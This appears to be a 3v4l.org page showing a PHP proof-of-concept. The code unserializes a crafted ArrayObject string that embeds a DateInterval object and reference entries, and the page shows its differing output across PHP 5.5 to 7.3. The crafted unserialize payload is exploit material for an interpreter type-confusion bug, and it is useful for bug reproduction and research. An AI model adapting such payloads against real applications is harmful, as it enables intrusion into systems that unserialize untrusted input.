3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php class test { var $ryat; function __wakeup() { // $this->ryat = 'ryat'; } } $inner = 'x:i:0;O:12:"DateInterval":0:{};m:a:2:{i:0;r:4;i:1;r:4;}'; $exploit = 'C:11:"ArrayObject":'.strlen($inner).':{'.$inner.'}'; $data = unserialize($exploit); for($i = 0; $i < 5; $i++) { $v[$i] = 'hi'.$i; } echo(serialize($data));
based on ieDG0
Output for 7.3.0alpha1 - 7.3.0beta1
Fatal error: Uncaught InvalidArgumentException: Overloaded object of type DateInterval is not compatible with ArrayObject in /in/QgZsE:14 Stack trace: #0 [internal function]: ArrayObject->unserialize('x:i:0;O:12:"Dat...') #1 /in/QgZsE(14): unserialize('C:11:"ArrayObje...') #2 {main} Next UnexpectedValueException: Error at offset 46 of 55 bytes in /in/QgZsE:14 Stack trace: #0 [internal function]: ArrayObject->unserialize('x:i:0;O:12:"Dat...') #1 /in/QgZsE(14): unserialize('C:11:"ArrayObje...') #2 {main} thrown in /in/QgZsE on line 14
Process exited with code 255.
Output for 7.1.10 - 7.2.6
Fatal error: Uncaught InvalidArgumentException: Overloaded object of type DateInterval is not compatible with ArrayObject in /in/QgZsE:14 Stack trace: #0 [internal function]: ArrayObject->unserialize('x:i:0;O:12:"Dat...') #1 /in/QgZsE(14): unserialize('C:11:"ArrayObje...') #2 {main} thrown in /in/QgZsE on line 14
Process exited with code 255.
Output for 7.1.0 - 7.1.7
C:11:"ArrayObject":403:{x:i:0;O:12:"DateInterval":16:{s:1:"y";i:-1;s:1:"m";i:-1;s:1:"d";i:-1;s:1:"h";i:-1;s:1:"i";i:-1;s:1:"s";i:-1;s:1:"f";d:-1;s:7:"weekday";i:-1;s:16:"weekday_behavior";i:-1;s:17:"first_last_day_of";i:-1;s:6:"invert";i:0;s:4:"days";i:-1;s:12:"special_type";i:0;s:14:"special_amount";i:-1;s:21:"have_weekday_relative";i:0;s:21:"have_special_relative";i:0;};m:a:2:{i:0;a:2:{i:0;N;i:1;N;}i:1;a:2:{i:0;N;i:1;N;}}}
Output for 7.0.0 - 7.0.20
C:11:"ArrayObject":390:{x:i:0;O:12:"DateInterval":15:{s:1:"y";i:-1;s:1:"m";i:-1;s:1:"d";i:-1;s:1:"h";i:-1;s:1:"i";i:-1;s:1:"s";i:-1;s:7:"weekday";i:-1;s:16:"weekday_behavior";i:-1;s:17:"first_last_day_of";i:-1;s:6:"invert";i:0;s:4:"days";i:-1;s:12:"special_type";i:0;s:14:"special_amount";i:-1;s:21:"have_weekday_relative";i:0;s:21:"have_special_relative";i:0;};m:a:2:{i:0;a:2:{i:0;N;i:1;N;}i:1;a:2:{i:0;N;i:1;N;}}}
Output for 5.5.0 - 5.6.28
C:11:"ArrayObject":454:{x:i:0;O:12:"DateInterval":15:{s:1:"y";i:-1;s:1:"m";i:-1;s:1:"d";i:-1;s:1:"h";i:-1;s:1:"i";i:-1;s:1:"s";i:-1;s:7:"weekday";i:-1;s:16:"weekday_behavior";i:-1;s:17:"first_last_day_of";i:-1;s:6:"invert";i:0;s:4:"days";i:-1;s:12:"special_type";i:0;s:14:"special_amount";i:-1;s:21:"have_weekday_relative";i:0;s:21:"have_special_relative";i:0;};m:a:2:{i:0;a:2:{i:0;a:2:{i:0;N;i:1;N;}i:1;a:2:{i:0;N;i:1;N;}}i:1;a:2:{i:0;a:2:{i:0;N;i:1;N;}i:1;a:2:{i:0;N;i:1;N;}}}}